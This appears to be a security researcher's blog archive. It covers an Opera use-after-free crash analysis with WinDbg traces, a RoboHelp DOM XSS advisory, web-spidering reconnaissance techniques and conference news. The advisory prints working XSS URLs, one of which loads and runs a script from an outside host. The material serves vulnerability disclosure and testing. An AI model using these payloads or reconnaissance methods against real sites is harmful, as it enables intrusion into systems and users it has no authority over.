Malerisch.net

Opera Use After Free - Crash PoC

Thu, 20 Oct 2011 02:21:00 GMT

Premise

It is about time for another bug release. It's Opera's turn, again in October, like three years ago when I released that Opera Stored Cross Site Scripting vulnerability. It must be something with Opera, the month of October and myself, but not sure what :-). Usually, I mirror content from Security-Assessment.com web site but I have decided to release the bug under my blog only, since I could not find an exploit for it and Opera does not consider this as a "browser security issue".

Also, according to Opera, the bug is unlikely to be exploited (see last paragraph of this post for more information) and so I am releasing what I got: a crash PoC.

Below, you will find the same bug analysis I have shared with Opera. I need to admit that I have limited experience in debugging (especially heap related issues) and lack of debugging symbols did not really help in this case. However, I have tried my best to analyse the bug and provide as much feedback as possible to Opera. I would also take the opportunity to thank my colleagues Scott Bell and Nick Freeman for their help when looking at possible ways to exploit this bug. Any feedback is also greatly appreciated and welcome and I would love to hear if the bug is actually exploitable :-). You never know.

Bug Details

Name: Opera � Use After Free - Crash PoC
Vendor Website: www.opera.com
Initial Notification Date: October 4th , 2011
Affected Software: Opera v11.51 and previous versions
Researcher: Roberto Suggi Liverani
CVE: CVE-2011-4152

Description

The PoC (Proof of Concept) provided below causes a crash in the latest Opera v.11.51. Previous Opera versions (down to v.11.00) also crash with variations of the included test case. The attached test case crashes the Opera v11.51 browser in both Windows XP and Windows 7 platforms. The bug causes a memory access violation as a result of dereferencing a dangling pointer. The test case includes a JavaScript crash() function which performs DOM operations on the and HTML elements. Such operations result in a dangling pointer. The crash only occurs when a quick and large memory allocation in the heap, e.g. heap spray (spray() function) immediately follows the object removal from the DOM. As Opera attempts to reallocate previously freed memory during the heap spray, it dereferences the dangling pointer and it crashes.

Crash PoC

a
a

Debugging

For simplicity, the analysis below is based on testing on a Windows XP virtual machine using Windbg and Opera 11.51:

Testing Environment

0:000> vertarget
Windows XP Version 2600 UP Free x86 compatible
Product: WinNt, suite: SingleUserTS
kernel32.dll version: 5.1.2600.0 (xpclient.010817-1148)

Analysis � Opera process running under debugger

When Opera is started with Windbg, the crash occurs at 67453c00. Note that the registers values change at each crash. In 90% of the cases, eax register ends up with a value of feeefeee or with a different but invalid memory address value. During the testing, Opera 11.51 always crashed with the provided test case.

Crash � Opera process running under Windbg

This exception may be expected and handled.
eax=feeefeee ebx=00000000 ecx=01634938 edx=01634938 esi=03dc9c30 edi=01ccd26c
eip=67453c00 esp=0012e14c ebp=0012e17c iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010286
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:\Program Files\Opera\Opera.dll -
Opera!OpSetLaunchMan+0x172840:
67453c00 8b481c mov ecx,dword ptr [eax+1Ch] ds:0023:feeeff0a=????????

The feeefeee indicates the free-fill pattern added by the heap manager to trap any memory accesses to a heap block after it has been freed. A quick look at the bottom of the stack reporting the access violation indicates use of the heap manager.

Stack at the crash

0:000> kL
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0012e17c 679ff270 Opera!OpSetLaunchMan+0x172840
0012e260 6742247c Opera!OpWaitFileWasPresent+0x26d323
0012e27c 67404148 Opera!OpSetLaunchMan+0x1410bc
0012e290 77fabb68 Opera!OpSetLaunchMan+0x122d88
0012e2c4 77fac859 ntdll!RtlpValidateHeap+0x1e
0012e334 00000000 ntdll!RtlDebugFreeHeap+0x204

During backtracing analysis, it was found that eax register at 67453c00 points to the actual heap block pointer to be allocated (or freed). The spray() function in the template performs a heap spray at address 0x0c0c0c0c of 177 blocks with a memory use of approximately: ~178Mb. Such heap spray creates a condition which makes Opera use previously-freed memory. When Opera attempts to dereference the dangling pointer, an access violation occurs and Opera crashes.

By setting the breakpoint below at 67453c00 (eip value at the crash), it is possible to verify the above by analysing Opera behavior with and without the heap spray. Note that Opera only crashes when the heap spray is performed.

Breakpoint to follow eax values

bp 67453c00 "reax;.printf\"\n\";g"

Without spray() - No crash condition

It appears that eax register points to the UsrPointer, which is the actual pointer of a heap block to be allocated (or freed).

Last 6 eax values � No Heap Spray � No Crash

eax=03e8cc18
eax=03e8cc60
eax=019c1b98
eax=01a06088
eax=03d600d8
eax=03d600d8

Let's take the last value of eax and analyse it. This is the UserPtr of a heap block (_HEAP_ENTRY+0x8 offset).

Valid UserPtr

0:009> !heap -p -a 03d600d8
address 03d600d8 found in
_HEAP @ a50000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
03d600d0 0009 0000 [07] 03d600d8 00030 - (busy)
0:009> dd 03d600d0
03d600d0 00140009 00180705 01c2d888 00000000

The pointer seems valid and refers to: 01c2d888 The same thing occurs for the previous eax values, which are always UserPtr pointers.

With spray() - Crash Condition

At some stage, the UserPtr pointer points to previously-freed memory.

Last 4 eax values � with heap spray � crash condition

eax=019abd18
eax=043b23b0
eax=049c0f38
eax=FEEEFEEE

However, let's take a look to a previous eax value: 043b23b0.

Valid Pointer

0:000> !heap -p -a 043b23b0
address 043b23b0 found in
_HEAP @ a50000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
043b23a8 0009 0000 [07] 043b23b0 00030 - (busy)
0:000> dd 043b23a8
043b23a8 000b0009 00180705 01a26c20 00000000

043b23b0 appears a valid pointer. Performing the same analysis with previous eax register values obtained from the breakpoint, it is possible to always find a reference to a valid pointer (UserPtr). However, by looking at the eax value 049c0f38 which is next to the crash, it is possible to see that the pointer refers to an invalid memory location (0000001b).

Dangling Pointer

0:000> !heap -p -a 049c0f38
address 049c0f38 found in
_HEAP @ a50000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
049c0f30 000b 0000 [07] 049c0f38 00040 - (busy)
0:000> dd 049c0f30
049c0f30 000d000b 00180705 0000001b 000003c0

Attaching Debugger To Opera

Analysis by attaching a debugger differs from the previous one, since the heap is constructed without the debugger. The crash point changes from the one identified previously. The crash occurs at 67453be0, within the same function of the previous crash.

Crash � Attaching Debugger To Opera

eax=0000065a ebx=00000000 ecx=0336b150 edx=0336b150 esi=0336b0e0 edi=01afefd4 eip=67453be0 esp=0012e14c ebp=0012e17c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206 Opera_672e0000!OpSetLaunchMan+0x172820:

67453be0 83780400 cmp dword ptr [eax+4],0 ds:0023:0000065e=????????

By looking at the stack, it is possible to see a reference to the Front End Manager: RtlpLowFragHeapFree.

Stack � Reference To RtlpLowFragHeapFree

0:000> kL ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong.
0012e17c 679ff270 Opera_672e0000!OpSetLaunchMan+0x172820
0012e260 6742247c Opera_672e0000!OpWaitFileWasPresent+0x26d323
0012e27c 67404148 Opera_672e0000!OpSetLaunchMan+0x1410bc
0012e2b8 67474ae6 Opera_672e0000!OpSetLaunchMan+0x122d88
0012e304 674051b1 Opera_672e0000!OpSetLaunchMan+0x193726
0012e30c 673ec0f4 Opera_672e0000!OpSetLaunchMan+0x123df1
0012e364 67403b0f Opera_672e0000!OpSetLaunchMan+0x10ad34
0012e380 673ff58d Opera_672e0000!OpSetLaunchMan+0x12274f
0012e3a8 674224b0 Opera_672e0000!OpSetLaunchMan+0x11e1cd
0012e3c4 67404148 Opera_672e0000!OpSetLaunchMan+0x1410f0
0012e3dc 77faea0b Opera_672e0000!OpSetLaunchMan+0x122d88
0012e43c 676a5e8b ntdll!RtlpLowFragHeapFree+0xb3
0012e450 674d47ab Opera_672e0000!OpGetNextUninstallFile+0xa1703
0012e470 6740bf8c Opera_672e0000!OpSetLaunchMan+0x1f33eb
0012e4ac 67403b0f Opera_672e0000!OpSetLaunchMan+0x12abcc

Further analysis demonstrated that the value which ends up in eax register at the crash is set at this point:

Breakpoint

77fae9dc ".printf \"RtlpLowFragHeapFree+0x88

The pointer that the above function uses is the one which appears in ecx and edx registers at the crash. This is demonstrated below.

The following debugging sequence in Windbg was used to reach such conclusion:
- Start Opera;
- Attach Windbg to Opera;
- Set following breakpoint:

Breakpoint 0

bp Opera_672e0000!OpWaitFileWasPresent+0x7fd73 6 ".printf \"===INTERESTING FUNCTION===: Opera_672e0000!OpWaitFileWasPresent+0x7fd73 has (EDI+44h) pointer is: %08x which refers to: %08x\\n\", poi(edi+44), poi(poi(edi+44));"

Always 6 passes are needed past this breakpoint. Then:
- g
- Load the test case into Opera

At this point, the breakpoint should be hit. A further breakpoint should be set to break on write operation on the pointer of interest (in this example, the pointer value is 03bea1e0 which comes from edi+44).

Breakpoint 1

ba w 4 poi(edi+44) ".printf \"WRITE ON pointer (edi+44h) - \"; r eip; u eip - 10; r bx; kL;"

Application should continue to run. The debugger will break again and the registers should look something like below with ebp, edx and esi set to 0.

Stack At Breakpoint 1

WARNING: Stack unwind information not available. Following frames may be wrong.
00000000 00000000 Opera_672e0000!OpSetLaunchMan+0x169cc7
eax=0360bda0 ebx=0360bd30 ecx=0360bd30 edx=00000000 esi=00000000 edi=0012e5f0
eip=6744b087 esp=0012e5c8 ebp=00000000 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246

An additional breakpoint is required:

Breakpoint 2

bp 77fae9dc ".printf \"RtlpLowFragHeapFree+0x88 - edi+8 - poi(edi+8): %8x \",
poi(edi+8); r edi+8; r bx;"

At this stage, breakpoint 1 needs to be removed
- bc 1
Then application should continue execution.

The breakpoint 2 will be hit different times. However when poi(edi+8) = 0 for the first time, the register bx should be checked. The value in bx will be the last 2 bytes (ax) of the eax register value at the crash.

Breakpoint 2 Hit � poi(edi+8) = 0

0:000> g
RtlpLowFragHeapFree+0x88 - edi+8 - poi(edi+8): 0
^ Syntax error in '.printf "RtlpLowFragHeapFree+0x88 - edi+8 - poi(edi+8): %8x '
eax=05b20000 ebx=017205c7 ecx=00000156 edx=00000173 esi=036da8b8 edi=03bea1d8
eip=77fae9dc esp=0012e4a4 ebp=0012e4d4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206
ntdll!RtlpLowFragHeapFree+0x84:
77fae9dc 66895f08 mov word ptr [edi+8],bx ds:0023:03bea1e0=0000

Note: edi+8 = 0 and bx = 05c7.

Glancing at the stack below, it is possible to see two references to the heap manager (RtlFreeHeap+0x55 and RtlpLowFragHeapFree+0x84). Both have the same argument: 03bea1e0. This is the pointer that it was encountered before and on which breakpoint 1 was set to identify write operations. This pointer will end up in the crash in both ecx and edx registers.

Stack At Breakpoint 2 � poi(edi+8) = 0

0:000> kb
ChildEBP RetAddr Args to Child
0012e4d4 77f84493 0012e5f0 03e54280 03bea1e0 ntdll!RtlpLowFragHeapFree+0x84
0012e598 67604d5a 00a50000 00000000 03bea1e0 ntdll!RtlFreeHeap+0x55
WARNING: Stack unwind information not available. Following frames may be wrong.
0012e5ac 674429b8 03bea1e0 0012e5f0 00000000
Opera_672e0000!OpGetNextUninstallFile+0x5d2
00000000 00000000 00000000 00000000 00000000 Opera_672e0000!OpSetLaunchMan+0x1615f8

Dump memory of 03bea1e0 returns 0000000.

Breakpoint 2 � Memory Dump of 03bea1e0

0:000> dd 03bea1e0
03bea1e0 00000000 00000000 00000000 00000000
03bea1f0 00000000 00000000 00000000 00020080
03bea200 00000000 00000000 00000000 00000000
03bea210 036da8b8 010801ff 01cbcd40 00000000
03bea220 03bea720 03bea250 03bea250 00000000
03bea230 00000000 40120356 00001300 05378640
03bea240 03c4457c 00000000 036da8b8 010801ff
03bea250 03bea218 00000000 00000000 00000000

At this stage, in order to skip directly to the crash all breakpoints need to be removed:
- bc 0
- bc 2
A first chance exception should be encountered, as shown below:

Crash

0:000> g
(24c.d0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before
any exception handling.
This exception may be expected and handled.
eax=000005c7 ebx=00000000 ecx=03bea1e0 edx=03bea1e0 esi=03bea250 edi=03778414
eip=67453be0 esp=0012e14c ebp=0012e17c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010202
Opera_672e0000!OpSetLaunchMan+0x172820:
67453be0 83780400 cmp dword ptr [eax+4],0
ds:0023:000005cb=????????

As it can be seen, both ecx and edx contain the pointer which was encountered initially and which was used by RtlFreeHeap+0x55 and RtlpLowFragHeapFree+0x84 as well. Dump memory of edx shows the value which eax has at the crash.

edx � Memory Dump

0:000> dd edx
03bea1e0 000005c7 00000000 00000000 00000000
03bea1f0 00000000 00000000 00000000 00020080
03bea200 00000000 00000000 00000000 00000000
03bea210 036da8b8 010801ff 01cbcd40 00000000
03bea220 03bea720 03bea250 03bea250 03e00b90
03bea230 00000000 40120356 40000801 05378640
03bea240 03c4457c 01ba049c 036da8b8 010801ff
03bea250 03bea218 00000000 00000000 00000000

The initial pointer 03bea1e0 (now a dangling pointer) refers to an invalid memory address value. This value ends up in the eax register at the crash.

Statement from Opera:

"We have not been able to see any angles this can be exploited by. The dangling pointer was pointing to an HTML element object, which has no virtual interfaces. The crash happens reliably in a function traversing the tree and finding the next such element, while the stack leading to that function can vary, depending on the circumstances."

Adobe RoboHelp 9 DOM Cross Site Scripting

Wed, 11 Aug 2011 02:21:00 GMT
11/08/2011 - Back in May while doing an application intrusion testing, I have found an interesting DOM Cross Site Scripting in a part of the application which was generated with Adobe RoboHelp software. At the begin, I thought I have found a bug which was already discovered and a Google search seemed to confirm my doubt, as I couldn't find out what Adobe RoboHelp version was used. However, all the bug entries I could find looked different and some of them were lacking an accurate description, payloads and examples.

So I have decided to download the latest version of Adobe RoboHelp and give it a try. Funny enough, after five minutes I have found another DOM cross site scripting injection point! It seems that RoboHelp has a history with XSS bugs (probably because it is just HTML and JavaScript content after all).

It is worth to say that at that time I also a got a preview of the DOMinator tool developed by Stefano Di Paola and wanted to test it and see if it would find the same bug. By browsing the site with DOMinator, in a matter of few seconds I could see the red alert showing up and highlighting the same vulnerable point. It is definitely a tool to try when looking for DOM XSS bugs.

Advisory

Name: Adobe RoboHelp 9.0 � DOM Cross Site Scripting
Vendor: Website http://www.adobe.com
Date Released: August 11th, 2011 � CVE-2011-2133
Affected Software: versions 9.0.1.232 and earlier
Researcher: Roberto Suggi Liverani

Original Security Advisory (PDF): http://www.security-assessment.com/files/documents/advisory/Adobe_RoboHelp_9_-_DOM_XSS.pdf

Description

Web content generated by Adobe RoboHelp software using the WebHelp format is vulnerable to DOM (or type-0) Cross Site Scripting attacks. The issue is due to the use of unsafe JavaScript code handling by the location.hash DOM property. This property is employed to load a frame within the context of a web site generated with RoboHelp. However, a malicious user can send a link which includes JavaScript code in the fragment part of the URL scheme, as demonstrated in the following example:

JavaScript Injection:
http://example.com/WebHelp/index.html#%22onload=%22JAVASCRIPT_PAYLOAD_HERE

In this case, use of the double quote character allows injection of frame attributes and event handlers, such as onload. The onload handler can be used to execute arbitrary JavaScript code. The above injection will result as the following in the DOM context of the index.html page:

Injection in the DOM:

Exploitation

This vulnerability can be exploited in several ways. One example is to include an external JavaScript file, such as a JavaScript hook file provided by BEeF, the browser exploitation framework. The exploit below makes use of the String.fromCharCode method to specify the URI of an external JavaScript file. In this example, it points to "http://malerisch.net/a.js", a JavaScript PoC (Proof of Concept) file which pops up an alert message window:

DOM XSS Including External JavaScript File
http://example.com/WebHelp/index.htm#%22onload=%22a=document.createElement%28%27script%27%29;a.setAttribute%28%27src%27,String.fromCharCode%28104,116,116,112,58,47,47,109,97,108,101,114,105,115,99,104,46,110,101,116,47,97,46,106,115%29%29;document.body.appendChild%28a%29

Rendered in DOM:

The above attack has been successfully reproduced with the following browser/OS:

- Firefox 3.5.16 � Windows XP SP3
- Google Chrome 11.0.696.69 � Windows XP SP3
- IE 8.0.6001.18702 � Windows XP SP3
- Opera 11.10 � build 2092 � Windows XP SP3

Solution

Adobe validated this security issue and updated the Adobe RoboHelp software to address this issue.

The fix is incorporated in the updates which can be found at the following URL:

http://www.adobe.com/support/security/bulletins/apsb11-23.html

Security-Assessment.com recommends applying the updates provided by the vendor.

Unusual Web Spidering Techniques (updated)

Mon, 08 Aug 2011 02:21:00 GMT
08/08/2011 - This is an article made from some of my notes gathered during various web application intrusion tests.

I assume that most security testers agree that during a web application security testing (black box case), not all pages are found and there is always a potential that something would be missed, in both manual and automated testing. However, I think it is important to highlight strategies and techniques which can be used to decrease chances that things go unnoticed or missing during a security review.

Below, you will find some unusual techniques which I have found useful and which are not automatically implemented in most of the spider/crawler engines I normally use. Such techniques require some manual setup and allowed me to discover additional content and information about the applications I was testing. These techniques are not always applicable or effective, but the underlying logic might be reused in many cases or might hopefully give you new ideas on how to approach a more comprehensive spidering.

Technique: Add bogus basic authentication header

Description: Add bogus basic authentication header with dummy credentials (e.g. test:test) to each HTTP request performed. Ideally, this should be done in parallel or after a standard spidering.

Standard Request:
GET / HTTP/1.1
Host: example.net
Response: 200 OK

Same request, but additional basic auth header:
GET / HTTP/1.1
Host: example.net
Authorization: Basic dGVzdDp0ZXN0
Response: 401 Authorization Required

Experience: I have found this technique useful as in few cases it triggered 401 responses from the web server. This might be useful for identifying parts of the application which require authentication or where brute-force password attacks are possible. It is important to notice that such login was not identified during the standard spidering and it would have gone unnoticed. The cause of this behaviour was due to an incorrect configuration on a particular web server instance that I was testing.

Technique: Spider web site simulating an old browser / client

Description: Spider a web site simulating an old browser or client. This implies that the request should not conform to RFC directives and should be malformed. In few words, the spider should simulate an old browser to get interesting reactions from the web server or other components, such as load balancers or web proxies.

In the example below, the Host: header is missing, that would not conform with the HTTP/1.1 RFC 2616 and would be interpreted by most web servers as a malformed request. In case of Apache, the server will return the default page for the first virtualhost configured (if virtual hosts are enabled). Request sent to domain example.com

GET / HTTP/1.
Host: example.com
Host:

Response:

HTTP/1.1 301 Moved Permanently
[...]
The document has moved here.
[...]

Experience: Some web servers like Apache (and also Nginx) might reveal extra information, such as the domain name of the first virtualhost for backward compatibility, as seen above. This can be useful especially when dealing with large web application testing and need of information gathering. Leaking of additional virtual hosts name means that the web server might have more than one virtual host configured at the same IP address and therefore multiple domain names might resolve to the same IP address. In my case, the virtualhost returned a subdomain name which would have taken different hours to guess with a standard DNS domain name brute-force attack.

Technique: Use extra Headers to support CORS

Description: Use extra Headers to support CORS. Use OPTIONS verb for each request.

Example:
GET / HTTP/1.1
[...]
Origin: http://mysite.com
[...]

Response:
[...]
Access-Control-Allow-Origin: http://mysite.com
Access-Control-Allow-Credentials: true
[...]

In this case, it is possible to ascertain there is a correlation between example.com and mysite.com. Furthermore, the server indicates that credentials can be sent through.

Experience: I have found the use of appending Origin: header useful in one case where a web site was providing a JSON service which could only be used from a determined "origin". By inferring the origin domain from the JavaScript code, I have found that the same domain was also allowed in a different part of the application, discovering a further JSON service end-point that the spider did not find in the first place.

Technique: Traverse using custom HTTP Request Headers

Experience: The application included a Java Applet which would make a request using a custom HTTP request header (e.g. Foo: bar). Later, I found out that the same header was used in a routing decision by the application and lead to reach a part of the application which was not found during spidering. Reuse of gathered information, as in the previous case, can be useful and it is important to re-spider the web site content with the acquired information.

Technique:Traverse site using both HTTP/1.0 and HTTP/1.1

Description: Traverse site using both HTTP/1.0 and HTTP/1.1 and observe differences in responses. Use of HTTP 1.0 might lead the web server to react in a different way than by receiving an HTTP/1.1 instead. Some web servers can be configured to not provide certain content or pages to older client and might redirect those clients to other pages.

Experience: This technique was useful only in a single case where the application provided a different section when issuing a request with HTTP/1.0 and an old User-Agent version MSIE 4.

Technique:Traverse site simulating a Mobile Handset and Search Engine Crawler

Description: In some applications, the User-Agent header is used to return certain pages. For example, iPhone or Android users might get redirected to a section of the site which is only supposed to be used by mobile handset users. The same behaviour can be observed for a search engine crawler/robot. Use of a spider bot, such as Googlebot/2.1 might reveal parts of an application which needs to be indexed in search engine results pages but should not be available to a standard user using a browser. Also, it is known that certain application performs cloaking based on User-Agent. A useful resource which provides a comprehensive listing of user agents can be found here.

Experience: A colleague (Andrew Horton) remembered me about this technique and I forgot to add it in this list. This technique was useful to me in an instance where I have found a separate part of the application which provided further functionality to mobile users. Interestingly enough, that part of the application had more relaxed security controls than the ones deployed to the main application. Probably, this derives from a false sense of security given by the assumption that browsers would not use that part of the application.

Setting tools
If Burp Proxy is used along with its spidering engine, some manual configuration is required. Under Spider options, it is possible to add custom HTTP headers and to tick/un-tick "Use of HTTP Version 1.1". Modifying the default Spider settings will be sufficient to spider a web site following the above techniques. This is shown in the screen shot below:

Changing Burp - Spider Options

If a tool is required to go through a proxy, then Burp Proxy can be configured under the Proxy Settings. In this case, it is not possible to add, but instead, use "Match and Replace" and then just insert the custom HTTP header under the Replace tab, as shown below.

Changing Burp - Proxy Options

Some tools allow setting custom HTTP Headers and other elements, such as Cookie through the command line. For example, in skipfish, the flag -C name=val sets a cookie and the flag -H name=val sets a custom HTTP header.

The downside of this approach is that if you want to apply more than a single technique against the same target application, you might need to run several spidering/scanning sessions and then merge, update and centralise the results. Also, some tools do not support all mentioned techniques and it might be required to run those tools through a proxy several times.

One partial solution for this problem is to have multiple instances of Burp Proxy configured in a chain of proxies. The "last" proxy in the chain will act as a central point and all the requests would go through it, although some inconsistencies might be faced.

For example, one of the issues that I find relates the way HTTP requests/responses are shown in the proxy. Consider two spider engines (A and B). They both spider the same page using different techniques and use Burp Proxy. The server returns 200 OK in both cases, but different content. Note that Spider A requests the same page before than Spider B does. If Burp Proxy is used with the "Target" feature, only the first request/response will be visible under the Target tab. In this case, only the request/response of Spider A will be shown, something which can be misleading, especially if Spider B found something interesting.

Conclusion
In conclusion, with the planned OWASP Testing Guide v4, these and other techniques for better spidering should be included to improuve the current reconnaissance phase in the methodology. Ideally, also some web scanner/spiders should implement a similar logic and provide the possibility to run more advanced and complex spidering modules.

Bridging the Gap - Security and Software Testing

Thu, 28 Apr 2011 02:21:00 GMT
28/04/2011 - I have just published my latest presentation on "Bridging the Gap - Security and Software Testing", which was presented at the ANZTB 2011 Test Conference in Auckland. The presentation includes some of my personal experiences when working with QA testers during security reviews.

The presentation highlights common areas and cases where quality assurance and security testing are very close and complimentary. Some ideas and suggestions for further collaboration between QA and security testers are also included. As usual, any feedback is more than welcome.

Presentation - Bridging the Gap - Security and Software Testing - download (PDF)

A confusing disclosure

Mon, 28 Mar 2011 02:21:00 GMT
28/03/2011 - All started following a security disclosure of Nick Freeman on WizzRSS, the Firefox addon. The author of the addon, Mike Kroger, was confused and thought in good faith to follow best practices, using the nsIScriptableUnescapeHTML class function to perform input validation. This caught my attention and I decided to do more research on the function and see if there were ways to bypass it.

In April 2010, I have released a white paper entitled "Cross Context Scripting with Firefox". The white paper included the research conducted by myself and Nick Freeman on finding bugs in Firefox extensions. In particular, one technique discussed at section "2.8 Case VIII: Bypassing nsIScriptableUnescapeHTML.parseFragment()" included examples on how to bypass the aforementioned function. Indeed, the function could not be trusted and Mike Kroger was right.

Following the release of the white paper, NIST created a CVE identifier: 2010-1585 referring to section 2.8 of the white paper. Following that, I felt I had to contact Mozilla and I have filed a bug report to them on May 2010 - with identifier 568395.

Few days ago, Nick Freeman told me that this bug was fixed as announced by Mozilla. The bug affected also SeaMonkey and Thunderbird. The bug was re-opened by Daniel Veditz with identifier 562547. To add further confusion, I am cited as a "Mozilla Security Developer" in the Mozilla security advisory ;-).

An interesting session fixation attack

Fri, 11 Mar 2011 02:21:00 GMT
11/03/2011 - Oracle has provided a fix for an interesting session fixation attack I have discovered in Oracle WebLogic web server. It's a very simple attack and I initially thought it was possible to mitigate it by changing the WebLogic servlet session configuration. However, it turned out to be a bug ;-).
For more details: Oracle WebLogic - Session Fixation Via HTTP POST Request

Watch this space, I will publish some new articles in the next few days. In the meantime, enjoy my new caricature on the top. Thanks Vivien!

Some clarifications

Thu, 4 Nov 2010 02:21:00 GMT
04/11/2010 - Some discussion originated from my latest disclosure of the Oracle JRE - java.net.URLConnection class � Same-of-Origin (SOP) Policy Bypass bug. The same bug was also found by Stefano Di Paola and reported by Stefano to Oracle and Google on the month of April 2010. Oddly enough, Oracle created a separate bug identifier for my security report and provided a specific fix for the attached Proof-of-Concept. The bug was labeled by Oracle as: 18316569 "LIMIT HTTP REQUEST COOKIE HEADERS IN HTTPURLCONNECTION". Stefano's report appears to be labeled differently, as 17322681 "JAVA APPLET SAME IP HOST ACCESS. However, the underlying root cause of both issues remains the same and it is due to a design principle which is obsolete in a world where shared hosting is an enterprise solution for many small and medium businesses.

Hopefully, following these disclosures, Oracle will do something to align its Java SOP policies to more rigorous standard, such as treating two domains that resolve to the same IP address as two separate entities.

Kiwicon IV

Wed, 13 Oct 2010 02:21:00 GMT
13/10/2010 - Final speakers announcement for Kiwicon IV. Twenty two talks with an impressive line-up of presentations. Well done to the organisers! Kiwicon is getting better and better and I am sure it will be a great conference. Beside, I will be presenting on "Finding Bugs in Software: The Mental Approach and Technical Mythology for Finding Vulnerabilities in Software". Other colleagues will also be presenting so don't miss the conference!

Tickets are now sold online.

Link: https://www.kiwicon.org/

Intoxicated SERPs or... HTML in SERP links

Sun, 02 Oct 2010 02:21:00 GMT
02/10/2010 - Search Engine Pages in Google result "intoxicated" in an interesting way. The screen shot below I took when looking for "owasp nz" a couple of weeks ago.

Not sure why Google indexes links with HTML payload (e.g.
) in the subdomain and/or domain name of the links. Further research also reveals the following points:

cache:http://w
ww.owasp.org/index.php/OWASP_New_Zealand_Day_2010 - no results returned.
site:http://w
ww.owasp.org/index.php/OWASP_New_Zealand_Day_2010 - one result returned.
link:http://w
ww.owasp.org/index.php/OWASP_New_Zealand_Day_2010 - returns:

So the question is: Who the *** is linking to OWASP NZ site in that way?

From a negative SEO perspective, this is another technique which can be used to 'poison' SERPs of competitors site.DNS won't resolve domain namewith HTML tags such as
. I am sure this affects other web sites as well.

Defending Against Application Level DoS Attacks

Wed, 20 Jul 2010 01:00:00 GMT
20/07/2010 - I have uploaded some of the presentations given at the OWASP NZ Day 2010 security conference. My talk about "Defending against application level DoS attacks" is also available at this link. The talk summarises known DoS application attack vectors which I have often encountered when performing security assessments. Some recommendations are also part of the talk, which can be helpful when reviewing BCP and incident plans.

OWASP New Zealand Day 2010

Mon, 5 Jul 2010 01:00:00 GMT
05/07/2010 - Final agenda for the Owasp New Zealand Day 2010 has been published today. I will also be talking about Layer7 DoS attacks and defenses. This talk will summarise some notes/ideas I have been collecting in previous assessments when encountering funny/interesting features/enviroments
which could be trivially DoSed ;-)

OWASP New Zealand Day 2010

Thu, 6 May 2010 01:00:00 GMT
06/05/2010 - Following the success of the OWASP New Zealand 2009 security conference which attracted more than 150 attendees, the OWASP New Zealand Chapter decided to organise the OWASP New Zealand Day 2010. The event will be held on the 15th July 2010 in Auckland.

White Paper - Cross Context Scripting with Firefox

Thu, 22 Apr 2010 01:00:00 GMT
22/04/2010 - For the last year, we have been focusing on Firefox Extension security and we have now released a research paper and an addendum on the topic of Cross Contex Scripting (XCS).
The research paper "Cross Context Scripting with Firefox" demonstrates different ways of attacking Firefox extensions via Cross Context Scripting (XCS) vulnerabilities.
Several XCS cases are detailed, including vulnerable extension code and exploit. white paper

The addendum "Exploiting Cross Context Scripting vulnerabilities in Firefox" includes a number of exploits tailored for Cross Context Scripting vulnerabilities. addendum

Multiple Adobe Products - XML External Entity And XML Injection

Mon, 22 Feb 2010 01:00:00 GMT
22/02/2010 - Multiple Adobe Products are vulnerable to XML External Entity (XXE) and XML Injection attacks. advisory

Defcon 17 Video Online

Sun, 24 Jan 2010 10:00:00 GMT
24/01/2010 - The video of our Defcon 17 presentation is finally online and it is available from the Defcon web site. Some live demos are included in the second part of the talk. Enjoy!

Another Firefox Extension advisory

Wed, 13 Jan 2010 10:00:00 GMT
13/01/2010 - This comes from Nick Freeman and affects the Yoono Firefox extension. A very sweet bug ;-).

SecurityByte & OWASP AppSec Asia 2009 and three 0days released

Sat, 19 Nov 2009 10:00:00 GMT
19/11/2009 - I have been talking at the SecurityByte and OWASP AppSec Asia 2009 conference in India, Gurgaon. It was my first time there and as I love travelling, I coulnd't miss this opportunity. The conference was great, well organised and I have met very interesting people. Definitely recommended! During the talk, three 0days were finally released, which myself and Nick Freeman previously disclosed to the vendors. A video interview was also published online, just after the conference.

Twitter XSS

Mon, 14 Nov 2009 10:00:00 GMT
14/11/2009 - Not sure if some people noticed, but an interesting XSS vector was found affecting the Twitter web site last November, by Rosario Valotta. When Rosario contacted me, I couldn't believe when looking at the XSS payload. After some talking, I suggested the use of document.write to bypass some Twitter input filtering controls. This allowed Rosario's injection to include a script tag as well. The bug was also disclosed on Full-Disclosure. I just wonder about the so "many" implications of having that kind of XSS bug on Twitter. Happy to not use Twitter ;-)

2 Firefox Extensions Chrome Privileged Code Injection

Tue, 25 Aug 2009 10:00:00 GMT
25/08/2009 - Coolpreviews and Update Scanner Firefox Extensions are vulnerable to Cross Site Scripting injection. coolpreviews advisory - update scanner advisory.

Exploiting Firefox Extensions - Interview on Risky.biz

Mon, 24 Aug 2009 10:00:00 GMT
24/08/2009 - Risky.biz recently published our interview with Paul Craig at the OWASP New Zealand Day about exploiting Firefox extensions.

Defcon 17 - Presentation

Mon, 24 Aug 2009 10:00:00 GMT
24/08/2009 - Defcon was great and we have managed to upload our presentation ;-)- download

Defcon 17

Mon, 24 Jul 2009 10:00:00 GMT
24/07/2009 - Myself and Nick Freeman are going to Las Vegas to present at Defcon 17 on "Abusing Firefox extensions". This time we will show more exploits and bugs ;-). We are on track 4 - 2pm. Check the Defcon schedule.

Backdooring Windows Media Files

Mon, 20 Jul 2009 10:00:00 GMT
20/07/2009 - Rosario Valotta recently released a comprehensive white paper on "Backdooring Windows Media Files". Many interesting points are covered, especially intranet scanning and ftp attacks via SAMI files. More info on his blog.

OWASP New Zealand Day 2009

Mon, 13 Jul 2009 10:00:00 GMT
